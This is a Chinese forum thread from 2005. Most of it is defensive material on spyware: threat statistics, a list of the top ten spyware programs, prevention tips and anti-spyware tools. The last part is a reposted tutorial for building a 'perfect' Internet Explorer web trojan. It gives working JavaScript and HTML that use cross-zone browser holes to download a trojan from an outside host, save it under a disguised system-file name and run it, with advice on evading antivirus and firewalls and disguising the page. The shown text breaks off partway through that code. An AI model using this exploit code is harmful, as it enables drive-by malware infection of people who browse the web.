间谍软件和木马相比，具有更多的实现原理及方法，这也给反间谍软件的厂商带来了更多的困难。SpyBot的创造者Patrick Kolla在一次电子邮件会谈中这样表示：“间谍软件制造者们正在系统中寻找新的，隐蔽性更强的地方来达到他们的目标，对于任何反间谍软件来说，挑战在于同时升级探测机制和探测数据库。”

　　各种各样有害的软件（如间谍软件）都被设计成很难删除。 假如您尝试像卸载任何其他程序一样卸载这种软件，您可能会发现在重新启动计算机后这种程序会马上重新出现。 假如您在卸载有害的软件方面有困难，您可能需要下载一个工具帮助您卸载。

　　从一般用户能做到的方法来讲，要避免间谍软件的侵入，首先得从间谍软件寄生的三种途径入手：不去不健康的站点浏览；不到非正规的站点下载软件；不收阅生疏人发送的邮件。其次还可以安装防火墙对自己的系统进行监控预防，不定期地利用最新版本的反间谍软件进行搜索、查杀。　　

　　间谍软件与反间谍软件并不是矛与盾的关系，间谍软件是一个主导体，而反间谍软件总处于一种被动状态，国外有名的查杀间谍软件“Ad-aware 6”和“SpyBot Search & Destroy”（间谍软件的搜索与消灭）也只能在一定程序上对已知间谍程序进行查杀，因此怎样有效地防止已知的及未知的间谍软件侵害，这成了每位网络用户迫切想了解的事。　　

　　对于用户而言，防一般是很难成功做到的，于是健全的法律就成了他们的呼唤。可目前一些条文答应雇主监听雇员的商务往来，这为间谍软件的界定及相关法律的制定增加了难度。美国一些立法委员提出了打击间谍软件的立法建议及草案，但在国会的最后一个环节还是功亏一篑，投票未能通过。　　

　　在我国，有关间谍软件方面的法律条文也同样急需修改完善，这样有令才可止，有法才可依，也才能够更有力度地打击那些侵犯他人合法利益的活动，给网民们一个美好的网络环境。

[ Last edited by 北狼 on 2005-7-21 at 00:50 ]

2004国内“间谍软件”危害现状（一）

现阶段，通过互联网传播的病毒业成为威胁电脑用户最大的源头。2004年互联网安全问题被受关注，非凡是间谍软件，一些国家与地区纷纷针对网络安全问题提出各种解决方案。但目前，间谍软件在国内隐藏在互联网中借机感染用户，很多国内用户对此危害不甚了解。根据金山毒霸反病毒中心公布的《2004年互联网病毒危害报告》数据显示，新一*互联网威胁主要体现在以下五个方面；网络间谍软件、木马病毒、网络钓鱼陷阱、互联网邮件病毒、浏览网页恶意程序。

　　如今，在国内大多数小区、学校、办公楼等场所均开始提供高速的互联网接入服务，从2004年开始，随着网络应用的成熟，网络游戏、网上购物、在线娱乐聊天等新的互联网应用模式逐步建立，金山反病毒专家分析，针对互联网的各种间谍软件、黑客攻击、病毒广告推广已成为威胁中国互联网几千万用户安全的头号天敌！

　　根据金山反病毒中心2003年1??004年10月病毒分析数据，共统计了22个月累计的各种病毒报告统计结果，最后总结出《2004年中国互联网病毒危害报告》。这一报告通过金山毒霸全球病毒监测网络、金山毒霸运营部门、反病毒客户服务部门在二年时间内联合严密监测而来。该分析指出，从2003年至今木马病毒增加了一倍之多，80%以上的病毒都是通过互联网进行传播与破坏。值得注重的是，间谍软件在2004年初至今增长非常迅猛，占到了整体互联网危害的23%，已开始成为影响用户互联网使用的最大“恶魔”。

　　间谍软件在国内快速蔓延 已成为互联网又一毒瘤

　　根据金山反病毒中心22个月累计的病毒分析结果显示，从2003年第一季度开始统计，目前针对互联网间谍软件数量与同期相比平均增加了2.5倍左右。金山反病毒专家分析，正是因为中国宽带网络建设的飞速发展，基于宽带娱乐、在线购物、互动聊天等应用快速普及，各种网络病毒、黑客攻击、木马程序、间谍软件、网络钓鱼陷阱等已经成为进行互联网病毒传播破坏、偷取网络游戏账号、骗取网上银行资金、推广恶意广告的重要方式。

　　金山反病毒专家介绍，尤其是间谍软件、木马病毒这两种危害的日趋明显，其已经成为互联网新一*不安全因素的罪魁祸首！据反病毒专家介绍，目前间谍软件多以隐藏、欺骗的方式进行传播，用户在下载免费或者共享软件时，安装过后可能就已让间谍软件埋伏在计算机中。

　　间谍软件的主要危害是；在浏览互联网时生成弹出式和其它方式的广告，欺骗用户浏览搜索引擎引导网站等，严重干扰用户。例如前段时间爆发的MSN小尾巴病毒，其传播的文件就是一个间谍软件程序，它可让用户上网就固定浏览搜索引擎引导网站。间谍软件还有可能导致机器速度变慢，忽然网络断开等情况出现，这主要是因为间谍软件会占去系统大量资源的原因。

　　从金山反病毒中心22个月累计的病毒统 互联网使用人群威胁最大的五类安全隐患是：间谍软件、木马病毒、网络钓鱼陷井、互联网邮件病毒、浏览网页恶意程序。它们构成了互联网危害的主要方式。另外，系统漏洞、IE浏览器漏洞、邮件漏洞也急需提防，此三项漏洞是造成病毒传播的“通道”。

　　相关数据显示，间谍软件、木马病毒比起去年而言增加了接近2.5倍。可以看出，由于网络应用的发展，病毒作者开始更趋向于商业化的病毒制造，木马病毒可以偷取网络游戏玩家的账号、还可使QQ用户密码丢失；间谍软件可以让浏览互联网的用户强迫点击广告，并且可能导致机器速度变慢，忽然网络断开等情况出现，这主要是因为间谍软件会占去系统大量资源的原因。

　　中国互联网大会公布的数据表明，我国的互联网用户普及率已经接近7%，开始进入 “雪崩”式的快速增长期。有调查显示，中国目前有2000多万网络游戏玩家，按照一款网络游戏来算，以《剑侠情缘》为例平均天天同时在线人数12万，以业内统计规则大概天天有40万人玩这款网络游戏。按玩家最喜欢的网游统计：包括传奇、大话西游、魔力宝贝、剑侠情缘等各种网游，大概一天有800多万人次在线。而即时通讯工具QQ的一天在线人数也已突破500多万，再加上MSN、yahoo通等，所以天天至少有1500万人以上在进行这些互联网应用。金山反病毒中心分析认为，相对而来的病毒数量急速增加，正是利用了网络应用的增长而增长，互联网病毒数的增加与互联网应用发展是成正比的，金山毒霸反病毒专家预计，在今年年底与明年，针对互联网应用的病毒数量还会猛增！非凡需要警惕间谍软件的危害。

　　根据该报告显示，五大类威胁已成为互联网的主要危害方式。其中, 间谍软件占到了网络危害的23%，木马病毒占到了48%，邮件蠕虫病毒达到21%，网络钓鱼占了4%，恶意网页危害占了4%。该分析认为，目前木马病毒危害最为严重，间谍软件增长速度最快，比去年增加了接近2.5倍，并还将存在继续增长的趋势，其危害不容轻视。而邮件蠕虫病毒依然对企业邮件服务器造成影响，现阶段的恶意网页对个人用户浏览也造成了部分危害。据观察，新的欺骗用户信用卡账号的网络钓鱼程序也在国内开始出现。

图：（互联网五大类危害所占比例）

当前十大间谍软件黑名单

国外安全公司Webroot昨日列举出当前10大间谍软件,称这些秘密安装的软件对于用户和公司是一个定时炸弹（"insidious" threat），Webroot是一个能为终端用户和企业用户清除间谍软件的软件公司，在网络服务提供商EarthLink的帮助下，根据间谍软件的工作机制和可能会导致的危险程度，他们列举出十个最流行的间谍软件。

　　十大间谍软件：

　　1、Gator

　　2、PurityScan

　　3、CoolWebSearch

　　4、Perfect Keylogger

　　5、n-CASE

　　6、KeenValue

　　7、TIBS Diale

　　8、Transponder

　　9、ISTbar/AUpdate

　　10、Internet Optimizer

　　Webroot威胁调查的副主席Stiennon说：我们使用P-I指数来作为排名的依据，P代表流行程度（prevalence），I代表危害程度（insidiousness）。每一个被Webroot提到的间谍软件都被安全软件厂商Boulder Colo公司从自己的Web站点或者和EarthLink联合扫描达到 50,000次以上。Stiennon说：为了能躲避监测和清除，这些软件的编写者的编写技巧也在不断提高。同时这十个间谍软件是根据他们的影响和流行程度来选出的。

　　由Webroot列出的十个间谍软件有些是对用户很熟悉，而有些利用模糊的名字来为他们潜在的危害做掩护。头号间谍软件是Gator（GAIN）的软件，由于他捆绑了一个端到端的文件共享软件，他早已声名狼藉（译者注：根据Computer Associates旗下的PestPatrol公司的研究成果：该软件已经被下载了2亿1400万次），Webroot说Gator/GAIN排在首位的原因是他在你上网时汹涌弹出的广告窗口。

　　这个名单上的有一些间谍软件大都不被大众了解，他们包括PurityScan（利用弹出广告窗口和选出可以发现色情内容来欺骗用户安装），CoolWebSearch（劫持用户访问和浏览他们的主页）、Perfect Keylogger（记录所用访问的站点和击键的记录和鼠标的移动来记录用户的口令和帐户信息）。还有一些像n-CASE、KeenValue、TIBS Dialer用来篡改拨号用户Modem的电话数字，这种间谍软件常用在按时负费的色情网站上

　　Transponder、ISTbar/AUpdate、Internet Optimizer劫持用户浏览网页时重定向到他们的网站。

　　Stiennon补充说："我们的目标是告诉网络上的用户不要随意安装来路不明的程序"，虽然安装和删除程序是他们的选择，但是他们必须在下决定前应该了解必要的信息。

　　Webroot不是唯一从事对间谍软件进行排名的公司，Computer Associates早在一年前就购买了Webroot的竞争对手PestPatrol，来发布间谍软件在线警告中心，他根据来自用户的报告数量排出前5位的间谍软件。

　　现在这份名单中Kazaa是排在首位，然后是rameSpy Arcade，Download Accelerators Plus、Ezula、Adopt.Hotbar.com。

　　间谍软件对用户和公司带来的损失根据近期的IDC分析数据：成为第四大公司安全威胁,而且威胁呈上升趋势。IDC说反间谍软件的收入在2004年达到3100万美元，到了2008年会跃升到3亿5百万。

十招轻松制服间谍软件

最新的调查报告显示了反间谍软件工具的不足，“间谍”仍在网络上肆无忌惮地活动。但也不必没精打采，学习并遵循以下的十招办法，间谍软件将对你束手无策。 　

　　有的时候，真理和善良总是受到伤害，我们刚刚在反垃圾邮件上取得了一些进展，然而，间谍软件却又将填补这项空白。未来几年里，你将不得不耗费宝贵的时间，在工作中、在家里与间谍软件作斗争。 　　

　　虽然市面上有数十种新的反间谍软件工具供我们使用，而且这些程序确实很有帮助，但是，运行反间谍软件实用程序只是解决方案的一部分，还有很多其他事情需要你做，请按照我们提供的10个步骤指南开始行动吧。

　　 1. 了解你的敌人 　　

　　假如你天真地把间谍软件定义为Web网站留下来的小cookie文件的话，那么，你的挫折将永无止境。所有类型的变脸软件(Scumware)都将为你带来不幸，主要的四大类型是： 　　

　　间谍软件（Spyware）：一种可以秘密地收集有关你计算机信息的软件，并且可能向一些未知网站发送数据，包括“键盘记录软件”或“按键捕捉寄生虫”(不要与“恶意软件(malware)”混淆，恶意软件包括病毒、蠕虫和特洛伊木马程序)。 　　

　　广告软件（Adware）：一种可以随机或者根据当前浏览器内容弹出广告和条幅的软件。 　

　　劫持软件(Hijackers)：可以改变浏览器主页、缺省搜索引擎，甚至改变你的方向，使你无法到达你想到达的网站。 　

　　小甜饼文件(Cookies)：可以跟踪Web网站参数选择和口令的小型文件。软件可以在用户不知道的情况下收集和扩散该信息。 　

　　以上四种类型中，广告软件是最讨厌的，而劫持软件和间谍软件却是危害最大的。 　　

　　2. 退出Internet Explorer

　　我们无法指控微软公司犯下了生成间谍软件的罪行。但是，Windows的设计，而且尤其是Internet Explorer却肯定使微软公司成了“间谍”的“同谋”。我们鼓励用户转向其他产品，例如Firefox或者Opera，两者均缺省设置封锁弹出文字。Firefox是免费的且已很普及，Opera则需要花几美元。 　　

　　需要证据来证实Internet Explorer存在着问题？在笔者运行Windows XP Home的主要测试PC上，使用Internet Explorer和Outlook Express，结果发现了739个间谍软件。而在笔者的个人PC上，运行Firefox和Mozilla公司的Thunderbird电子邮件应用，结果才发现了11个间谍软件范例。而且，这11个间谍软件均是在笔者不得不使用Internet Explorer进入某些Web网站的时候，偷偷溜进这台PC的。

　　然而，不幸的是，有些网站却需要Internet Explorer，而那些与微软公司的Outlook电子邮件客户端有密切联系的用户也必须使用它。不过，还是有办法可以把感染Internet Explorer间谍软件的速度降下来。首先，禁止微软 ActiveX支持。在Internet Explorer里，点击Tools→Internet Options→Security→Custom Level，然后，点击迫使ActiveX控制在运行之前请求答应的检查框。 　

　　其次，安装Google Toolbar，它也可以封锁弹出文字。它适用于Internet Explorer 5.5及更高级产品，因此，你或许还需要升级浏览器。同样地，也可以运行只在Internet Explorer之内工作的弹出文字封锁软件，如StopZilla、123Ghosts Popup Killer、Ad Killer、Ad Muncher以及Anti Popup Pro。 　　

　　3. 阻止下载 　　

　　仔细遵守如下要求：千万不要让技术新手尝试下载任何东西。然后，为他们下载并安装Google Toolbar。 　

　　用户希望从Web上下载“免费”程序，但是，请教会他们如何区分为了获得实用程序而访问的网站(如PCWorld.com或Tucows.com )，与出现在弹出广告和垃圾邮件里的网站。 　

　　下定决心，千万别泄气，接受教育是不完善的这个事实。间谍软件传播者在说服人们下载间谍软件方面通常做的比你更好。所以，有必要对用户解释清楚，在浏览器页面旁边看起来象广告或朋友发给他们的那些链接，实际上是间谍软件散播的最常见方式。提醒你的用户对一些危险信号一定要敏感，如弹出的条幅广告说可以提供免费间谍软件检查(这是对信任的最残酷的滥用)。 　

　　4. 教授备份和恢复的基本知识

　　由于许多用户不会留意你的警告，因此，应该教会他们如何从灾难当中恢复过来。如今，人们在计算机上有太多的东西，以致于他们懒得做各种备份选择。 存满备份数据的外部磁盘、磁带系统或CD可以减轻充斥着间谍软件的系统所带来的麻烦，并使其回到早期没有间谍软件的情况，从而使一切恢复正常。 　

　　教会用户如何在XP里生成恢复点，以及如何在每次从非知名网站下载之前设置一个恢复点。在大多新式的PC上，磁盘空间不是问题，而且，即使它们的硬盘存满了东西，创造一些恢复点也比清除间谍软件感染轻易得多。

　　5. 制作一张 反间谍软件CD 　　

　　把反间谍软件实用程序烧录到你的CD上，制作自己的间谍软件工具集也是个不错的办法。当你需要清除间谍软件时，寻找和等待工具软件的下载很浪费时间，CD-ROM磁盘目前价格很低廉，因此，多制作一些拷贝并把它们送给你的用户也是有效的手段。就笔者自己而言，有三个免费的实用程序，还有三个商业实用程序的测试版本。这些程序的容量为2M至10M字节，因此，标准CD上有足够的空间容纳它们。

　　6. 运行至少两种间谍软件清除程序 　

　　根据我们的经验，没有任何一种间谍软件清除程序能够清除恶意代码的每一部分。所有实用程序都有盲点，而间谍软件编程人员却正好可以利用这些盲点。每家厂商都称其产品可以捕捉所有的东西，但是，不管何时人们用一种反间谍工具清除100项威胁的时候，另一个工具还能再找出另外十几项威胁。

　　每一种间谍软件清除程序都会检查注册表，但是，由于间谍软件遵循微软的注册表词条规则，因此，它根本不可能完全清除间谍软件。 　

　　定期运行多个不同的实用程序，并确信它们都是最新的，做到这一点十分重要。付费清除程序可以提供更持续的文件更新，即使免费件也会定期增加一些新功能。运行，更新，再运行，再更新，对付间谍软件就要不断重复上述步骤。笔者的一般做法是：清除系统，重新启动进入安全模式，然后，使用另一种工具进行清除，然后，再重新启动。　　

　　7. 封堵桌面通信漏洞 　

　　每一次间谍软件上传信息都意味着更多的未来问题，因为间谍软件可以进行自我更新，并增加新“性能”。封锁出站信息可以提高用户安全等级。 　　

　　有一些（但不是全部）常驻反间谍软件实用程序可以封锁间谍软件上载，商用产品更好一些。不过，安装个人防火墙同样可以封锁上载。ZoneAlarm和Sygate Personal Firewall都很棒。 　　

　　如今出售的几乎所有品牌路由器都包括防火墙保护。寻找可以对入站和出站信息包进行全状态检查的产品。个人防火墙和路由器控制的组合并非大材小用，尤其是对于那些无法抵制各种新鲜网站诱惑的用户来说更有必要。 　

　　8. 处理DRM 　　

　　在未来几年里，间谍软件还将继续存在的一个原因就是，各公司都在增加数字权利治理（DRM）在娱乐文件以及授权许可文件之上的使用。为这些应用留下的漏洞还将被间谍软件利用好几年的时间。跟踪诸如在线商店回头客之类的Cookie文件使得Web网站更人性化。但问题是，这些Cookie文件看起来很像间谍软件，从而很难在不杀死正常文件的情况下做出分辨。 　

　　对于新出现的娱乐播放应用情况也是一样，你下载的MP3音乐文件需要确认你有在移动SB上播放这些文件的权力，而新的反JD软件有可能封锁对授权数据库进行的DRM查询，因为这不就是符合未经许可把系统信息发送给第三方的JD软件定义吗？这一定义适用于商业应用许可文件和DRM应用许可文件等，至少在应用接口水平是这样。 　　

　　一种解决办法就是避免诸如音乐播放程序之类的DRM应用，假如你喜欢音乐，那么，寻找一种能够定期更新其间谍软件数据库的反间谍软件，因为它可以协调好保护与音乐服务。 　　

　　9. 充分发挥AOL成员资格的优势 　　

　　供AOL成员免费下载的间谍软件保护是另一项非常有用的添加产品，笔者发现其扫描速度虽然比其他许多间谍软件清除程序慢，但是，该程序却在CounterSpy和SpyBot进行清除之后又发现了另外7个间谍软件范例。 　　

　　AOL还为用户提供一些非常有价值的保护，包括为其成员提供免费的技术支持。 　　

　　10. 推荐Macintosh或Linux系统 　　

　　间谍软件主要攻击微软*作系统，通过Internet Explorer漏洞进入并隐藏在Windows的薄弱之处。有些间谍软件，尤其是恶意Cookie文件，可以在任何浏览器之内发生作用，但是，这只是间谍软件当中很小的一部分。 　　

　　微软的一些软件产品，如Internet Explorer、Word、Outlook和Media Player，一旦下载就将自动执行，从而使间谍软件很轻易乘虚而入。Linux和Mac*作系统不答应这种自动执行，从而使它们更易抵制间谍软件。更重要的是，Windows答应任何用户（或间谍软件）把动态链接库装载至内核之中，Linux的系统访问却要求拥有与之相对应的治理员特权。虽然这个办法不适合大多数人，但是，假如确实因为间谍软件变得太痛苦的话，那么，Apple和Linux将会非常欢迎你。 　　

专用工具

1 ．SpyBot Search &Destroy
该软件的功能与性能都是间谍软件清除工具中最出色的。最值得称赞的是该软件坚持长期免费，假如您认为该软件非常优秀，并且您有经济能力，该公司鼓励您采用捐赠的形式来支持。软件下载地址：http://spybot.safer-networking.de，软件体积为4238KB。首次启动时，该软件将弹出一个对话框，让您选择需要使用哪种语言，其中包括简体中文*作界面（图）

2．PestPatrol

　　最新版文件大小为7842KB，公司供个人、小公司和企业版3 种产品供选择，评估版可以免费下载，具有清除间谍件的功能。软件下载地址：http://www.pestpatrol.com。为了吸引用户使用该产品，该公司提供在线免费扫描。当您还没有考虑好选择那一种产品，而又想知道您的计算机上是否存在间谍件，您可以在线扫描。图4为笔者使用在线扫描的结果，本机存在40 种“虫”（Pests）。PestPatrol 可以检测出超过40000 种有害程序，包括间谍件、木马、蠕虫、邮件炸弹、密码萃取器、远程控制服务器、木马创建工具等！PestPatrol 一旦检测出害群之马，用户可以选择删除该文件、隔离该文件或仅仅接收关于该文件的警告。此外，它还具有“排除”特性，可以将某些文件排除在扫描进程之外。下载完整版要收费（39.95 美元/ 年），该软件为英文版，不提供简/ 繁体中文。

3．AD-aware

　　它的最新版程序大小为2101KB。该软件提供了三个版本，AD-aware 为标准版免费产品，公司提供资料库更新。软件下载地址：http://www.snapfiles.com/main.html，AD-aware启动界面如图5所示，是一个较小的系统安全工具。它可以扫描您计算机中的网站所发送进来的间谍件和相关跟踪文件，清理您的系统注册机码以及网络暂存盘，并寻找、追踪、确认出各类间谍件。并且能够安全地将它们删除掉。使您不会因为它们而泄露自己的隐私和数据。

　　AD-aware 能够搜索并删除的广告服务程序包括：Web3000、 Gator、Cydoor、Radiate/ Aureate、Flyswat、 Conducent/TimeSink 和 CometCursor。该软件的扫描速度较快，当它完成搜寻工作，会在屏幕上列出搜寻结果，并让您选择想要移除的项目。假如这个间谍件是附在某个特定的软件上，您可以得到一份最完整的搜寻清单。

　　　与PestPatrol 一样，AD-aware提供在线实时扫描与清除。图6为执行扫描的情况。遗憾的是扫描前要在本机下载扫描程序，使用户有不快之感。
Ad-aware plus版增加实时监控与阻塞功能， 提供实时保护。Ad-awarProfesional版在plus的基础上增加编辑器和“调整与扩充功能”，对发现的间谍件提供更具体的分析。

其它还有：

１＼赛门铁克的反间谍软件　Norton Internet Security 2005
２＼Microsoft AntiSpyware
３＼Mcafee VirusScan Enterprise Anti-Spyware Module
等等～

转贴：
打造完美的ＩＥ网页木马
发表：2004-5-20 19:41:00 出处：你的博客网(yourblog.org)
--------------------------------------------------------------------------------

打造完美的ＩＥ网页木马 icyfox

（测试页面:http://www.godog.y365.com/runexe/icyfox.htm，此处所运行的程序不是木马！)

　　既然要打造完美的ＩＥ网页木马，首先就必须给我们的完美制定一个标准，我个人认为一个完美的ＩＥ网页木马至少应具备下列四项特征：
　　一：可以躲过杀毒软件的追杀；
　　二：可以避开网络防火墙的报警；
　　三：能够适用于多数的ＷＩＮＤＯＷＳ*作系统（主要包括ＷＩＮ９８、ＷＩＮＭＥ、ＷＩＮ２０００、ＷＩＮＸＰ、ＷＩＮ２００３）中的多数ＩＥ版本（主要包括ＩＥ５．０、ＩＥ５．５、ＩＥ６．０），最好能打倒ＳＰ补丁；
　　四：让浏览者不轻易发觉ＩＥ变化，即可以悄无声息，从而可以长久不被发现。
　　（注重以上四点只是指网页本身而言，但不包括你的木马程序，也就是说我们的网页木马只是负责运行指定的木马程序，至于你的木马程序的好坏只有你自己去选择啦！别找我要，我不会写的哦！）
　　满足以上四点我想才可以让你的马儿更青春更长久，跑的更欢更快……
　　看了上面的几点你是不是心动拉？别急，我们还是先侃侃现有的各种ＩＥ网页木马的不足吧！
　　第一种：利用古老的MIME漏洞的ＩＥ网页木马
　　这种木马现在还在流行，但因为此漏洞太过古老且适用的ＩＥ版本较少，而当时影响又太大，补丁差不多都补上啦，因此这种木马的种植成功率比较低。
　　第二种：利用com.ms.activeX.ActiveXComponent漏洞，结合ＷＳＨ及ＦＳＯ控件的ＩＥ网页木马
　　虽然com.ms.activeX.ActiveXComponent漏洞广泛存在于多数ＩＥ版本中，是一个比较好的漏洞，利用价值非常高，但却因为它结合了流行的病毒调用的ＷＳＨ及ＦＳＯ控件，使其虽说可以避开网络防火墙的报警，可逃不脱杀毒软件的追捕（如诺顿）。
　　第三种：利用OBJECT对象类型确认漏洞（Ｏｂｊｅｃｔ　Ｄａｔａ　Ｒｅｍｏｔｅ）并结合ＷＳＨ及ＦＳＯ控件的ＩＥ网页木马（典型的代表有动鲨网页木马生成器）
　　此种木马最大的优点是适应的ＩＥ版本多，且漏洞较新，但却有如下不足：
　　１、因为此漏洞要调用Mshta.exe来访问网络下载木马程序，所以会引起防火墙报警（如天网防火墙）；
　　２、假如此ＩＥ网页木马又利用了ＷＳＨ及ＦＳＯ控件，同样逃不脱杀毒软件的追捕（如诺顿），而
动鲨网页木马又恰恰使用了ＷＳＨ及ＦＳＯ控件，叹口气……可惜呀……？
　　３、再有就是这个漏洞需要网页服务器支持动态网页如ＡＳＰ、ＪＳＰ、ＣＧＩ等，这就影响了它的发挥，究竟现在的免费稳定的动态网页空间是少之又少；虽说此漏洞也可利用邮件ＭＩＭＥ的形式（见我在安全焦点上发表的文章：《由错误MIME漏洞的利用想到的......---IE Object Data 数据远程执行漏洞的利用》http://www.xfocus.net/articles/200309/607.html）来利用，但经测试发现对ＩＥ６．０不起作用。
　　看到上面的分析你是不是有了这种感觉：千军易得，一将难求，马儿成群，奈何千里马难寻！别急，下面让我带这大家一起打造我心中的完美ＩＥ网页木马。
　　首先要躲过杀毒软件的追杀，我们就不能利用ＷＳＨ和ＦＳＯ控件，因为只要利用了ＷＳＨ和ＦＳＯ控件就一定逃不脱“诺顿”的追杀，这可叫我们该如何是好？！别急，经过我的努力工作（说真的我也是在研究ＡＳＰ木马时偶然发现的灵感）终于我有找到了一个可以用的控件，那就是 shell.application，并且它可是经过了安全认证的，可以在“我的电脑”域中的网页中畅通无阻的执行，比ＷＳＨ和ＦＳＯ更轻易得到执行权限（利用跨域漏洞即可），请看下面javascript代码：
<SCRIPT LANGUAGE="javascript" type="text/javascript">
var shell=new ActiveXObject("shell.application");
shell.namespace("c:\\Windows\\").items().item("Notepad.exe").invokeverb();
</SCRIPT>
保存为test.htm后打开看是否自动打开了记事本程序，而且不会象ＷＳＨ和ＦＳＯ那样出现是否答应运行的提示框，是不是有点爱好啦？现在我们已可以运行所有已知路径的程序，但我们要求运行我们自己的木马程序，所以还要求把我们的木马程序下载到浏览者的电脑上并找出它的位置。我们一个个来解决：
　　１、下载木马程序到浏览者的电脑中
　　这一点可以有很多解决方法，比如我以前提到的ＷＩＮＤＯＷＳ帮助文件访问协议下载任意文件漏洞（its:），不过这次我们不用它，再教大家两个更好的下载方法：
　　例一：利用SCRIPT标签，代码如下：
<SCRIPT LANGUAGE="icyfoxlovelace" src="http://www.godog.y365.com/wodemuma/icyfox.bat"></SCRIPT>
注重此处的LANGUAGE属性可以为除javascript、VBScript、JScript以外的字符串,也可以是汉字，至于src的属性当然是你的木马程序的地址啦！因为现在免费空间出于安全考虑，多数不答应上传exe文件，我们可以变通一下把扩展名exe改为bat或pif、scr、com，同样可以运行。
　　例二：利用LINK标签，代码如下：
<LINK href="http://www.godog.y365.com/wodemuma/icyfox.bat" rel=stylesheet type=text/css>
把代码放在标签<HEAD></HEAD>中间，href属性值为木马程序的地址。
上面两个是我所知的最好的两种下载木马程序的方法，它们下载后的程序都保存在在ＩＥ临时目录Temporary Internet Files目录下的子目录中。
　　２、找出已下载到浏览者的脑中的木马程序路径
　　我们可以利用shell.application控件的一些属性和方法，并结合js的错误处理try{}catch(e){}finally{}语句,进行递归调用来找到木马程序的路径，代码如下：

function icyfoxlovelace(){
//得到ＷＩＮＤＯＷＳ系统目录和系统盘
url=document.location.href;
xtmu=url.substring(6,url.indexOf(’\\’,9) 1);
xtp=url.substr(6,3);

var shell=new ActiveXObject("shell.application");
var runbz=1;

//此处设置木马程序的大小，以字节为单位
//请把198201改为你的木马程序的实际大小
var exeSize=198201;

//设置木马程序名及扩展名(exe,com,bat,pif,scr)，用于判定是否是所下载的木马程序
//请把下面两行中的icyfox改为你的木马程序名，bat改为你的木马程序的扩展名
var a=/icyfox\[\d*\]\.bat/gi;
a.compile("icyfox\\[\\d*\\]\\.bat","gi");

var b=/[A-Za-z]:\\/gi;
b.compile("[A-Za-z]:\\\\","gi");//正则表达式,用于判定是否是盘的根目录

//下面的代码查找并运行木马程序
wjj(xtmu "Temporary Internet Files\\");//Content.IE5\if(runbz)wjj(xtp "Documents and Settings\\");
if(runbz)yp();

//在所有硬盘分区下查找并运行木马程序
function yp(){
try{
var c=new Enumerator(shell.namespace("c:\\").ParentFolder.Items());
for (;!c.atEnd();c.moveNext()){
if(runbz){if(b.test(c.item().path))wjj(c.item().path);}
else break;
}
}catch(e){}
}

//利用递归在指定目录(包括子目录)下查找并运行木马程序
function wjj(b){
try{
var c=new Enumerator(shell.namespace(b).Items());
for (;!c.atEnd();c.moveNext()){
if(runbz&&c.item().Size==exeSize&&a.test(c.item().path)){
var f=c.item().path;
var v=f.lastIndexOf(’\\’) 1;
try{
shell.namespace(f.substring(0,v)).items().item(f.substr(v)).invokeverb();//运行木马程序
runbz=0;
break;
}catch(e){}
}
if(!c.item().Size)wjj(c.item().path "\\");//假如是子目录则递归调用
}
}catch(e){}
}


}

icyfoxlovelace();

请把以上代码保存为icyfox.js。

　　接下来我们就要利用一个小小跨域执行漏洞，来获得“我的电脑”域的网页权限，大家以前是不是和我一样觉得这种漏洞仅仅只能用来进行跨站脚本攻击，得到COOKIE之类的东东呢？这次它终于可以露脸啦！代码如下：

<HTML>
<HEAD>
<META http-equiv=Content-Type content="text/html; charset=gb2312">
<TITLE>冰狐浪子网络技术实验室的完美ＩＥ网页木马</TITLE>
</HEAD>
<BODY oncontextmenu="return false" onselectstart="return false" scroll="no" topmargin="0" leftmargin="0">
<SCRIPT LANGUAGE="icyfoxlovelace" src="http://www.godog.y365.com/wodemuma/icyfox.bat"></SCRIPT>
<SCRIPT LANGUAGE="javascript">
//此处设置上面icyfox.js文件的网络地址
//请把http://www.godog.y365.com/wodemuma/icyfox.js改为你的icyfox.js文件实际上传地址
jsurl="http://www.godog.y365.com/wodemuma/icyfox.js".replace(/\//g,’//’);
WIE=navigator.appVersion;
if(WIE.indexOf("MSIE 5.0")>-1){
/*IE 5.0利用iframe标签,src属性设为icyfox://则会使此标签具备“我的电脑”域的权限,原因是因为icyfox://是不存在的协议，所以会ＩＥ会利用res://协议打开SHDOCLC.DLL中的语法错误页syntax.htm，而且SHDOCLC.DLL又位于系统目录中，为在 icyfox.js中得到ＷＩＮＤＯＷＳ系统目录和系统盘提供数据；*/
document.write("<iframe style=’display:none;’ name=’icyfoxlovelace’ src=’icyfox://’><\/iframe>");
setTimeout("muma0()",1000);
}
else {
/*IE5.5、 IE6.0则利用_search漏洞，把打开的地址设为icyfox://，从而使_search搜索框具备“我的电脑”域的权限，因为在IE6.0中无法用上面的iframe漏洞，IE5.5应该可以用，我没有测试。这样做的结果会打开搜索栏,有点遗憾！*/
window.open("icyfox://","_search");
setTimeout("muma1()",1000);
}

//下面利用file:javascript:协议漏洞在已是我的电脑”域的权限的“icyfox://”中插入icyfox.js脚本并运行
function muma0(){
window.open("file:javascript:document.all.tags(’SCRIPT’)[0].src=’" jsurl "’;eval();","icyfoxlovelace");
}

function muma1(){
window.open("file:javascript:document.all.tags(’SCRIPT’)[0].src=’" jsurl "’;eval();","_search");}
</SCRIPT>
</BODY>
<NOSCRIPT><iframe style="display:none;" src=’*.*’></iframe></NOSCRIPT>
</HTML>

把上面的代码保存为icyfox.htm,假如你愿意可以把扩展名改为jpg并在网页中加入一个精美的图片背景，来做一个图片木马，甚至你可以改为 exe，来冒充一个好的程序的下载地址，并在网页的<HEAD></HEAD>中加入标签<meta http-equiv="refresh" content="5;url=’http://www.godog.y365.com/winrar.exe’">来定时转到另一个真正的程序下载地址，从而更好的欺骗别人。

　　看到上面的东东是不是让你有了马上去实验的冲动，别急，假如你觉得win98没必要控制的话，还有更好的木马等着你，不知大家是否用过 win2000、winxp等系统中默认安装的ADODB.Stream及Microsoft.XMLHTTP控件？它们可是和 shell.application控件一样是经过了安全认证的，可以在“我的电脑”域中的网页中畅通无阻执行的好东西呀！请看下面的代码：

function icyfox(){
//设置下载后保存在系统目录下的木马程序名，我设的是不是很象Explorer.exe呀？呵呵
var name="Explroer.exe";
//设置你要下载的木马程序的地址（此处你可以把扩展名任意改，甚至没有扩展名也可以的)
//可以更好的躲过免费主页空间的上传限制
var url="http://www.godog.y365.com/wodemuma/icyfox.bat";
try{
var folder=document.location.href;
folder=folder.substring(6,folder.indexOf(’\\’,9) 1) name;
var xml=new ActiveXObject("Microsoft.XMLHTTP");
xml.open("GET",url,false);
xml.send();
if(xml.status==200){
var ado=new ActiveXObject("ADODB.Stream");
ado.Type=1;
ado.Open();
ado.write(xml.responseBody);
ado.SaveToFile(folder,2);
ado.Close();
ado=null;
}
xml=null;
